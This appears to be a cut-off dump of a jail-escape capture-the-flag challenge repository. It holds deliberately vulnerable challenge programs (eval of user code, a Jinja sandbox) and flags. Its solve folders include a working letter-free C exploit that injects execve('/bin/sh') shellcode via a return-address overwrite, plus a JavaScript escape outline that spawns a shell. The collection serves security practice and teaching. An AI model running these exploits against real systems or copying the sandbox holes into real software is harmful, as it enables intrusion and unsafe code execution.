├── !alphabet
├── README.md
├── handout
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
├── remote
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
└── solve
│ ├── solve.c
│ └── solve_expanded.c
├── .gitignore
├── 2call
├── README.md
├── handout
│ ├── Dockerfile
│ ├── chal.js
│ └── flag.txt
├── remote
│ ├── Dockerfile
│ ├── chal.js
│ └── flag.txt
└── solve
│ ├── README.md
│ ├── gen.py
│ ├── payload.js
│ └── solve.py
├── MMM
├── README.md
├── handout
│ ├── Dockerfile
│ ├── docker-compose.yml
│ ├── flag.txt
│ ├── server.py
│ ├── start.sh
│ └── templates
│ │ └── home.html
├── remote
│ ├── Dockerfile
│ ├── docker-compose.yml
│ ├── flag.txt
│ ├── server.py
│ ├── start.sh
│ └── templates
│ │ └── home.html
└── solve
│ ├── README.md
│ └── solve.py
├── SUS-Calculator
├── README.md
├── handout
│ ├── Dockerfile
│ ├── chal.rb
│ └── flag.txt
├── remote
│ ├── Dockerfile
│ ├── chal.rb
│ └── flag.txt
└── solve
│ └── README.md
├── befunge-breakout
├── README.md
├── handout
│ ├── Dockerfile
│ ├── LICENSE
│ ├── README.md
│ ├── flag.txt
│ ├── run.sh
│ └── src
│ │ ├── build.sh
│ │ ├── cbi
│ │ ├── cbi.c
│ │ ├── cbi.h
│ │ ├── cbi.o
│ │ ├── delta.c
│ │ ├── delta.h
│ │ ├── delta.o
│ │ ├── stack.c
│ │ ├── stack.h
│ │ ├── stack.o
│ │ └── test
│ │ ├── calc.bf
│ │ └── hw.bf
├── remote
│ ├── Dockerfile
│ ├── LICENSE
│ ├── README.md
│ ├── flag.txt
│ ├── run.sh
│ └── src
│ │ ├── build.sh
│ │ ├── cbi
│ │ ├── cbi.c
│ │ ├── cbi.h
│ │ ├── cbi.o
│ │ ├── delta.c
│ │ ├── delta.h
│ │ ├── delta.o
│ │ ├── stack.c
│ │ ├── stack.h
│ │ ├── stack.o
│ │ └── test
│ │ ├── calc.bf
│ │ └── hw.bf
└── solve
│ ├── README.md
│ ├── ld-linux-x86-64.so.2
│ ├── libc.so.6
│ └── solve.py
├── blind-calc
├── README.md
├── remote
│ ├── Dockerfile
│ ├── blind.sh
│ ├── flag.txt
│ └── run.sh
└── solve
│ └── README.md
├── charredcoal
├── README.md
├── handout
│ ├── Charcoal
│ │ ├── .gitignore
│ │ ├── .travis.yml
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── TODO.md
│ │ ├── __init__.py
│ │ ├── ansiterm.py
│ │ ├── appveyor.yml
│ │ ├── astprocessor.py
│ │ ├── charactertransformers.py
│ │ ├── charcoal
│ │ ├── charcoal.py
│ │ ├── charcoaltoken.py
│ │ ├── codepage.py
│ │ ├── compression.py
│ │ ├── direction.py
│ │ ├── directiondictionaries.py
│ │ ├── extras.py
│ │ ├── extras
│ │ │ └── chc
│ │ ├── highlighters
│ │ │ └── Charcoal.sublime-syntax
│ │ ├── interpreterprocessor.py
│ │ ├── requirements.txt
│ │ ├── stringifierprocessor.py
│ │ ├── test
│ │ ├── test.py
│ │ ├── tox.ini
│ │ ├── tutor
│ │ ├── tutor.py
│ │ ├── unicodegrammars.py
│ │ ├── verbosegrammars.py
│ │ ├── verbosifierprocessor.py
│ │ └── wolfram.py
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Charcoal
│ │ ├── .gitignore
│ │ ├── .travis.yml
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── TODO.md
│ │ ├── __init__.py
│ │ ├── ansiterm.py
│ │ ├── appveyor.yml
│ │ ├── astprocessor.py
│ │ ├── charactertransformers.py
│ │ ├── charcoal
│ │ ├── charcoal.py
│ │ ├── charcoaltoken.py
│ │ ├── codepage.py
│ │ ├── compression.py
│ │ ├── direction.py
│ │ ├── directiondictionaries.py
│ │ ├── extras.py
│ │ ├── extras
│ │ │ └── chc
│ │ ├── highlighters
│ │ │ └── Charcoal.sublime-syntax
│ │ ├── interpreterprocessor.py
│ │ ├── requirements.txt
│ │ ├── stringifierprocessor.py
│ │ ├── test
│ │ ├── test.py
│ │ ├── tox.ini
│ │ ├── tutor
│ │ ├── tutor.py
│ │ ├── unicodegrammars.py
│ │ ├── verbosegrammars.py
│ │ ├── verbosifierprocessor.py
│ │ └── wolfram.py
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ └── README.md
├── filterd
├── README.md
├── handout
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
├── remote
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
└── solve
│ └── README.md
├── functional-programming
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ ├── README.md
│ ├── brute.c
│ └── payload.txt
├── get-and-call
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ ├── README.md
│ ├── solve1.py
│ └── solve2.py
├── impossible-maze
├── README.md
└── solve
│ ├── README.md
│ └── images
│ ├── blocked.png
│ ├── io.png
│ ├── partial_flag.png
│ └── proc_list.png
├── jailguessr
├── README.md
├── handout
│ └── image.png
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ └── README.md
├── jellyjail
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ ├── jellylanguage
│ │ ├── .gitignore
│ │ ├── LICENSE.txt
│ │ ├── README.md
│ │ ├── jelly
│ │ │ ├── __init__.py
│ │ │ ├── __main__.py
│ │ │ ├── dictionary.py
│ │ │ ├── interpreter.py
│ │ │ └── utils.py
│ │ ├── scripts
│ │ │ └── jelly
│ │ ├── setup.py
│ │ └── utils
│ │ │ ├── Makefile
│ │ │ ├── findhash
│ │ │ ├── findhash1.py
│ │ │ └── findhash2.c
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ ├── jellylanguage
│ │ ├── .gitignore
│ │ ├── LICENSE.txt
│ │ ├── README.md
│ │ ├── jelly
│ │ │ ├── __init__.py
│ │ │ ├── __main__.py
│ │ │ ├── dictionary.py
│ │ │ ├── interpreter.py
│ │ │ └── utils.py
│ │ ├── scripts
│ │ │ └── jelly
│ │ ├── setup.py
│ │ └── utils
│ │ │ ├── Makefile
│ │ │ ├── findhash
│ │ │ ├── findhash1.py
│ │ │ └── findhash2.c
│ └── main.py
└── solve
│ └── README.md
├── js-without-getattr
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ ├── main.js
│ └── package.json
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ ├── main.js
│ └── package.json
└── solve
│ └── README.md
├── last-message
├── .gitignore
├── README.md
├── handout
│ ├── app
│ │ ├── Dockerfile
│ │ ├── account.py
│ │ ├── app.py
│ │ ├── index.html
│ │ ├── requirements.txt
│ │ └── static
│ │ │ ├── default.jpg
│ │ │ ├── index.css
│ │ │ ├── index.py
│ │ │ └── pyscript.json
│ ├── bot
│ │ ├── Dockerfile
│ │ ├── bot.js
│ │ ├── flag.txt
│ │ └── run.sh
│ └── docker-compose.yml
├── remote
│ ├── app
│ │ ├── Dockerfile
│ │ ├── account.py
│ │ ├── app.py
│ │ ├── index.html
│ │ ├── requirements.txt
│ │ └── static
│ │ │ ├── default.jpg
│ │ │ ├── index.css
│ │ │ ├── index.py
│ │ │ └── pyscript.json
│ ├── bot
│ │ ├── Dockerfile
│ │ ├── bot.js
│ │ ├── flag.txt
│ │ └── run.sh
│ └── docker-compose.yml
└── solve
│ ├── exploit.py
│ └── solve.html
├── lost-in-transit
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ ├── README.md
│ └── solve.py
├── mathjail
├── README.md
├── handout
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
├── remote
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
└── solve
│ ├── README.md
│ └── solve.py
├── minieval-1
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── jail.pl
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── jail.pl
└── solve
│ ├── README.md
│ └── solve.txt
├── no-nonsense
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ ├── payload.txt
│ └── solve.py
├── parity-1
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ └── README.md
├── parity-2
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ └── README.md
├── parseltongue
├── README.md
├── handout
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
├── remote
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
└── solve
│ ├── README.md
│ ├── gen-solve.py
│ └── real-solve.py
├── pickled-magic
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ ├── README.md
│ └── solve.py
├── polyglo7quine
├── README.md
├── handout
│ └── handout.py
├── remote
│ ├── Dockerfile
│ └── chal.cr
└── solve
│ └── README.md
├── respy-evil-challenge
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── respy-nice-challenge
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── ruby-on-jails
├── README.md
├── handout
│ ├── Dockerfile
│ ├── chal.rb
│ └── flag.txt
├── remote
│ ├── Dockerfile
│ ├── chal.rb
│ └── flag.txt
└── solve
│ └── README.md
├── smiley-faiss
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ ├── main.py
│ └── safernumpy
│ │ ├── __init__.py
│ │ └── core
│ │ ├── __init__.py
│ │ └── multiarray
│ │ └── __init__.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ ├── main.py
│ └── safernumpy
│ │ ├── __init__.py
│ │ └── core
│ │ ├── __init__.py
│ │ └── multiarray
│ │ └── __init__.py
└── solve
│ └── README.md
├── stupid-crypto-chall
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ ├── README.md
│ ├── payload.txt
│ └── solve.py
├── substitute-teacher
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ ├── README.md
│ └── solve.py
├── tiniest
├── README.md
├── handout
│ ├── Dockerfile
│ ├── chal.pl
│ └── flag.txt
├── remote
│ ├── Dockerfile
│ ├── chal.pl
│ └── flag.txt
└── solve
│ ├── README.md
│ └── payload.pl
├── void
├── README.md
├── handout
│ ├── docker
│ │ ├── Dockerfile.local.prebuilt
│ │ ├── Dockerfile.prebuilt
│ │ ├── entry.py
│ │ ├── hook.sh
│ │ └── local_entry.py
│ ├── embedder.c
│ ├── embedder.docker
│ └── flag
└── remote
│ ├── Makefile
│ ├── docker
│ ├── Dockerfile
│ ├── Dockerfile.local
│ ├── Dockerfile.local.prebuilt
│ ├── Dockerfile.prebuilt
│ ├── entry.py
│ ├── hook.sh
│ └── local_entry.py
│ ├── embedder.c
│ ├── embedder.docker
│ └── flag
├── what-flag
├── README.md
├── handout
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
├── remote
│ ├── Dockerfile
│ ├── flag.txt
│ └── main.py
└── solve
│ ├── README.md
│ ├── solve-remote.py
│ └── solve.py
├── what-numbers
├── README.md
├── handout
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
├── remote
│ ├── Dockerfile
│ ├── chal.py
│ └── flag.txt
└── solve
│ ├── README.md
│ ├── best
│ ├── 1099.txt
│ ├── 123456789.txt
│ ├── 1337.txt
│ ├── 13371337.txt
│ ├── 14600926.txt
│ ├── 1784768876.txt
│ ├── 2396745.txt
│ ├── 322376503.txt
│ ├── 3735928559.txt
│ ├── 420.txt
│ ├── 4886718345.txt
│ ├── 48879.txt
│ ├── 51966.txt
│ ├── 57005.txt
│ └── 69.txt
│ ├── createnums.py
│ ├── dunders.txt
│ ├── gen-final.py
│ ├── payload.txt
│ └── searchattrs.py
└── x86fuck
├── README.md
├── handout
├── Dockerfile
├── chal.py
└── flag.txt
├── remote
├── Dockerfile
├── chal.py
└── flag.txt
└── solve
├── README.md
└── solve.py
/!alphabet/README.md:
--------------------------------------------------------------------------------
1 | # !alphabet
2 |
3 | category: mainstream/c
4 |
5 | ## description
6 |
7 | lets see what the C compiler lets you get away with
8 |
--------------------------------------------------------------------------------
/!alphabet/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12.3-bookworm as app
2 |
3 | COPY --chmod=644 flag.txt /flag.txt
4 | RUN mv /flag.txt "/flag-$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 24 | head -n 1).txt"
5 |
6 | FROM pwn.red/jail
7 | COPY --from=app / /srv
8 | COPY --chmod=755 chal.py /srv/app/run
9 |
10 | ENV JAIL_MEM=20M JAIL_TMP_SIZE=10M JAIL_TIME=40
--------------------------------------------------------------------------------
/!alphabet/handout/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3 -u
2 | import os
3 | import subprocess
4 | import tempfile
5 | import re
6 |
7 | print("Input your code (1 line)")
8 | code = input("> ")
9 |
10 | if re.search(r'[A-Za-z]', code):
11 | print("No letters allowed")
12 | exit(1)
13 |
14 | with tempfile.TemporaryDirectory() as td:
15 | src_path = os.path.join(td, "source.c")
16 | compiled_path = os.path.join(td, "compiled")
17 | with open(src_path, "w") as file:
18 | file.write(code)
19 |
20 | # Entry point is _ *NOT* main. Keep that in mind
21 | # as the chal is literally impossible without this
22 | returncode = subprocess.call(["gcc", "-B/usr/bin", "-Wl,--entry=_", "-nostartfiles", "-w", "-O0", "-o", compiled_path, src_path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
23 |
24 | if returncode != 0:
25 | print("Oops, there were some compilation errors!")
26 | exit(1)
27 |
28 | print("Good luck!")
29 | subprocess.call([compiled_path])
--------------------------------------------------------------------------------
/!alphabet/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_in_root_dir_on_remote}
2 |
--------------------------------------------------------------------------------
/!alphabet/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12.3-bookworm as app
2 |
3 | COPY --chmod=644 flag.txt /flag.txt
4 | RUN mv /flag.txt "/flag-$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 24 | head -n 1).txt"
5 |
6 | FROM pwn.red/jail
7 | COPY --from=app / /srv
8 | COPY --chmod=755 chal.py /srv/app/run
9 |
10 | ENV JAIL_MEM=20M JAIL_POW=2500 JAIL_TMP_SIZE=10M JAIL_TIME=40
11 |
--------------------------------------------------------------------------------
/!alphabet/remote/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3 -u
2 | import os
3 | import subprocess
4 | import tempfile
5 | import re
6 |
7 | print("Input your code (1 line)")
8 | code = input("> ")
9 |
10 | if re.search(r'[A-Za-z]', code):
11 | print("No letters allowed")
12 | exit(1)
13 |
14 | with tempfile.TemporaryDirectory() as td:
15 | src_path = os.path.join(td, "source.c")
16 | compiled_path = os.path.join(td, "compiled")
17 | with open(src_path, "w") as file:
18 | file.write(code)
19 |
20 | # Entry point is _ *NOT* main. Keep that in mind
21 | # as the chal is literally impossible without this
22 | returncode = subprocess.call(["gcc", "-B/usr/bin", "-Wl,--entry=_", "-nostartfiles", "-w", "-O0", "-o", compiled_path, src_path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
23 |
24 | if returncode != 0:
25 | print("Oops, there were some compilation errors!")
26 | exit(1)
27 |
28 | print("Good luck!")
29 | subprocess.call([compiled_path])
--------------------------------------------------------------------------------
/!alphabet/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{writing_C_just_the_way_it_was_meant_to_be}
--------------------------------------------------------------------------------
/!alphabet/solve/solve.c:
--------------------------------------------------------------------------------
1 | _1=1852400175;_2=6845231;_0_0(_, __){};_0_1(_){*(&_+3)+=2;};_0_2(_){};_(){_0_0(0,&_1);_0_1(0);_0_2(1147076160420667222);_0_2(5565509137969);}
--------------------------------------------------------------------------------
/!alphabet/solve/solve_expanded.c:
--------------------------------------------------------------------------------
1 | // Even though they're technically just 2 ints,
2 | // they get placed next to each other letting us write arbitrary strings
3 | _1 = 1852400175; // /bin
4 | _2 = 6845231; // /sh
5 |
6 | // empty func that allows us to write data to rsi (2nd arg)
7 | _0_0(_, __) {}
8 |
9 | // function that increments return address by 2, letting us return to our shellcode
10 | _0_1(_) {
11 | *(&_+3)+=2;
12 | }
13 |
14 | _0_2(_) {}
15 |
16 | _() {
17 | _0_0(0,&_1); // put /bin/sh in rsi
18 | _0_1(0); // incrememnt return value by 2, so it jumps into our shellcode (the func args in the next 2 funcs)
19 |
20 | // our syscall shellcode to call execve("/bin/sh", 0, 0)
21 | // we can only encode 6 bytes because the last 2 bytes have to be a short jmp to the next part
22 | // that's why I did it twice
23 | _0_2(1147076160420667222);
24 | _0_2(5565509137969);
25 | }
26 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .vscode
2 | .idea
3 |
--------------------------------------------------------------------------------
/2call/README.md:
--------------------------------------------------------------------------------
1 | # 2call
2 |
3 | category: esolang/mainstream/js/jsfuck
4 |
5 | ## description
6 |
7 | 2 call 2 call eat em all
8 |
--------------------------------------------------------------------------------
/2call/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node@sha256:c4856362ed3261b2e9e0d5f3113bd9feace612884f8101ca09da553f856fd0a2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.js /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | RUN mv /srv/app/flag.txt /srv/flag-$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt
8 | ENV JAIL_MEM=40M JAIL_PIDS=10 JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/2call/handout/chal.js:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/node
2 | const readline = require('node:readline');
3 | const rl = readline.createInterface({input: process.stdin, output: process.stdout});
4 |
5 | console.log("2call 2call.");
6 | rl.question('code > ', (answer) => {
7 | let parenCount = 0;
8 | for (let c of answer) {
9 | if ("()".includes(c)) {
10 | if (++parenCount > 2) {
11 | console.log("too many");
12 | rl.close();
13 | return;
14 | }
15 | continue;
16 | }
17 | if (!"![]+".includes(c)) {
18 | console.log("no not that");
19 | rl.close();
20 | return;
21 | }
22 | }
23 |
24 | eval(answer)();
25 | console.log('the code ran');
26 | rl.close();
27 | });
28 |
--------------------------------------------------------------------------------
/2call/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_in_root_dir_on_remote}
2 |
--------------------------------------------------------------------------------
/2call/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node@sha256:c4856362ed3261b2e9e0d5f3113bd9feace612884f8101ca09da553f856fd0a2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.js /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | RUN mv /srv/app/flag.txt /srv/flag-$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt
8 | ENV JAIL_MEM=40M JAIL_PIDS=10 JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/2call/remote/chal.js:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/node
2 | const readline = require('node:readline');
3 | const rl = readline.createInterface({input: process.stdin, output: process.stdout});
4 |
5 | console.log("2call 2call.");
6 | rl.question('code > ', (answer) => {
7 | let parenCount = 0;
8 | for (let c of answer) {
9 | if ("()".includes(c)) {
10 | if (++parenCount > 2) {
11 | console.log("too many");
12 | rl.close();
13 | return;
14 | }
15 | continue;
16 | }
17 | if (!"![]+".includes(c)) {
18 | console.log("no not that");
19 | rl.close();
20 | return;
21 | }
22 | }
23 |
24 | eval(answer)();
25 | console.log('the code ran');
26 | rl.close();
27 | });
28 |
--------------------------------------------------------------------------------
/2call/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{btoa_hard_carry_fr_1cf0ea60f5}
2 |
--------------------------------------------------------------------------------
/2call/solve/README.md:
--------------------------------------------------------------------------------
1 | # 2call
2 |
3 | solve idea is as below
4 |
5 | first thing to know is jsfuck
6 |
7 | second thing to know is that we can still get arb order of ops using `[expr][+[]]` as equiv to `(expr)`
8 |
9 | so with these two, we can determine that the only way to solve this is by making `[]["flat"]["constructor"](str)` which is equal to Function(str)
10 |
11 | third thing to know is that we can get the letters for eval and also the strings `btoa`, `atob`, and `console`, and also `(` and `)`.
12 | those functions are built in to node js, so we can just construct an arbitrary string and eval it inside of the other eval
13 |
14 | last thing to know is that even though require is undefined for whatever reason, we can use process.mainModule which has the hidden attribute `require`. then, we just spawn a shell and win
15 |
16 |
--------------------------------------------------------------------------------
/2call/solve/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from os import system
3 |
4 | p = remote("localhost", 5000)
5 |
6 | p.recvline()
7 | system(p.recvline())
8 | r = input('copy paste pow sol from above > ')[:-1].encode()
9 | p.sendline(r)
10 |
11 | p.sendline(open('payload.js', 'rb').read())
12 |
13 | p.interactive()
14 |
15 |
--------------------------------------------------------------------------------
/MMM/README.md:
--------------------------------------------------------------------------------
1 | # MMM
2 |
3 | category: pyjail/web
4 |
5 | ## description
6 |
7 | I wrote a Flask app that allows you to execute your Jinja templates on the fly. Oh, and I included some math functions to test out. Surely it's completely safe, right...?
8 |
9 | [challs2.pyjail.club:7305](https://challs2.pyjail.club:7305)
10 |
11 |
--------------------------------------------------------------------------------
/MMM/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | RUN pip install --no-cache-dir flask_limiter flask
4 |
5 | RUN useradd ctf
6 | COPY ./server.py /home/ctf/server.py
7 | COPY ./flag.txt /home/ctf/flag.txt
8 | COPY ./templates/ /home/ctf/templates/
9 | USER ctf
10 | WORKDIR /home/ctf
11 | RUN export "KEY=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 64)"
12 |
13 | CMD ["/usr/local/bin/python3", "server.py"]
14 | #ENTRYPOINT ["/bin/sh"]
15 |
--------------------------------------------------------------------------------
/MMM/handout/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '2.4'
2 | services:
3 | python:
4 | build: .
5 | ports:
6 | - 5000:5000
7 | restart: always
8 | command: /usr/local/bin/python3 /home/ctf/server.py
9 | working_dir: /home/ctf
10 | user: ctf
11 | environment:
12 | - KEY=${GENERATED_KEY}
13 |
14 |
--------------------------------------------------------------------------------
/MMM/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/MMM/handout/server.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, render_template, request
2 | from flask_limiter import Limiter
3 | from flask_limiter.util import get_remote_address
4 | from jinja2.sandbox import SandboxedEnvironment
5 | import os
6 | import secrets
7 |
8 | app = Flask(__name__)
9 |
10 | limiter = Limiter(
11 | get_remote_address,
12 | app=app,
13 | default_limits=["5 per second", "3600 per hour"],
14 | storage_uri="memory://",
15 | )
16 | env = SandboxedEnvironment()
17 |
18 | def mean(lst):
19 | return sum(lst) / len(lst)
20 |
21 | def median(lst, high=True):
22 | lst.sort(key=lambda x: x if high else -x)
23 | return lst[len(lst)//2]
24 |
25 | def mode(lst):
26 | return max(lst, key=lst.count)
27 |
28 | env.filters['mean'] = mean
29 | env.filters['median'] = median
30 | env.filters['mode'] = mode
31 |
32 | @app.route('/')
33 | def home():
34 | return render_template('home.html')
35 |
36 | @app.route('/run', methods=['POST'])
37 | def run():
38 | try:
39 | return env.from_string(request.form['template']).render()
40 | except Exception as e:
41 | return f'An error occurred! ({e.__class__.__name__})'
42 |
43 | @app.route('/flag', methods=['POST'])
44 | def flag():
45 | if secrets.compare_digest(request.form['key'], os.environ['KEY']):
46 | with open('flag.txt', 'r') as f:
47 | return f.read()
48 | else:
49 | return 'Invalid key'
50 |
51 |
52 | if __name__ == '__main__':
53 | app.run(host='0.0.0.0', port=5000)
54 |
55 |
--------------------------------------------------------------------------------
/MMM/handout/start.sh:
--------------------------------------------------------------------------------
1 | export GENERATED_KEY=$(echo 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef | fold -w1 | shuf | tr -d '\n')
2 | docker-compose build
3 | docker-compose up
4 |
--------------------------------------------------------------------------------
/MMM/handout/templates/home.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | MMM
7 |
8 |
9 | Welcome to my Jinja sandbox!
10 |
15 |
16 |
--------------------------------------------------------------------------------
/MMM/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | RUN pip install --no-cache-dir flask_limiter flask
4 |
5 | RUN useradd ctf
6 | COPY ./server.py /home/ctf/server.py
7 | COPY ./flag.txt /home/ctf/flag.txt
8 | COPY ./templates/ /home/ctf/templates/
9 | USER ctf
10 | WORKDIR /home/ctf
11 | RUN export "KEY=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 64)"
12 |
13 | CMD ["/usr/local/bin/python3", "server.py"]
14 | #ENTRYPOINT ["/bin/sh"]
15 |
--------------------------------------------------------------------------------
/MMM/remote/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '2.4'
2 | services:
3 | python:
4 | build: .
5 | ports:
6 | - 5000:5000
7 | restart: always
8 | command: /usr/local/bin/python3 /home/ctf/server.py
9 | working_dir: /home/ctf
10 | user: ctf
11 | environment:
12 | - KEY=${GENERATED_KEY}
13 |
14 |
--------------------------------------------------------------------------------
/MMM/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{s4ndb0x3d_j1nja_1s_n0t_s4f3_aga1n5t_cu5t0m_f1lt3r5}
2 |
--------------------------------------------------------------------------------
/MMM/remote/server.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, render_template, request
2 | from flask_limiter import Limiter
3 | from flask_limiter.util import get_remote_address
4 | from jinja2.sandbox import SandboxedEnvironment
5 | import os
6 | import secrets
7 |
8 | app = Flask(__name__)
9 |
10 | limiter = Limiter(
11 | get_remote_address,
12 | app=app,
13 | default_limits=["5 per second", "3600 per hour"],
14 | storage_uri="memory://",
15 | )
16 | env = SandboxedEnvironment()
17 |
18 | def mean(lst):
19 | return sum(lst) / len(lst)
20 |
21 | def median(lst, high=True):
22 | lst.sort(key=lambda x: x if high else -x)
23 | return lst[len(lst)//2]
24 |
25 | def mode(lst):
26 | return max(lst, key=lst.count)
27 |
28 | env.filters['mean'] = mean
29 | env.filters['median'] = median
30 | env.filters['mode'] = mode
31 |
32 | @app.route('/')
33 | def home():
34 | return render_template('home.html')
35 |
36 | @app.route('/run', methods=['POST'])
37 | def run():
38 | try:
39 | return env.from_string(request.form['template']).render()
40 | except Exception as e:
41 | return f'An error occurred! ({e.__class__.__name__})'
42 |
43 | @app.route('/flag', methods=['POST'])
44 | def flag():
45 | if secrets.compare_digest(request.form['key'], os.environ['KEY']):
46 | with open('flag.txt', 'r') as f:
47 | return f.read()
48 | else:
49 | return 'Invalid key'
50 |
51 |
52 | if __name__ == '__main__':
53 | app.run(host='0.0.0.0', port=5000)
54 |
55 |
--------------------------------------------------------------------------------
/MMM/remote/start.sh:
--------------------------------------------------------------------------------
1 | export GENERATED_KEY=$(echo 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef | fold -w1 | shuf | tr -d '\n')
2 | docker-compose build
3 | docker-compose up
4 |
--------------------------------------------------------------------------------
/MMM/remote/templates/home.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | MMM
7 |
8 |
9 | Welcome to my Jinja sandbox!
10 |
15 |
16 |
--------------------------------------------------------------------------------
/SUS-Calculator/README.md:
--------------------------------------------------------------------------------
1 | # SUS Calculator
2 |
3 | category: mainstream/introductory/ruby
4 |
5 | ## description
6 |
7 | no eval == safe
8 |
9 |
--------------------------------------------------------------------------------
/SUS-Calculator/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ruby:latest AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.rb /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=10M JAIL_ENV_NUM=5 JAIL_TIME=50 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/SUS-Calculator/handout/chal.rb:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/ruby
2 | class Calc
3 | def self.+ left, right
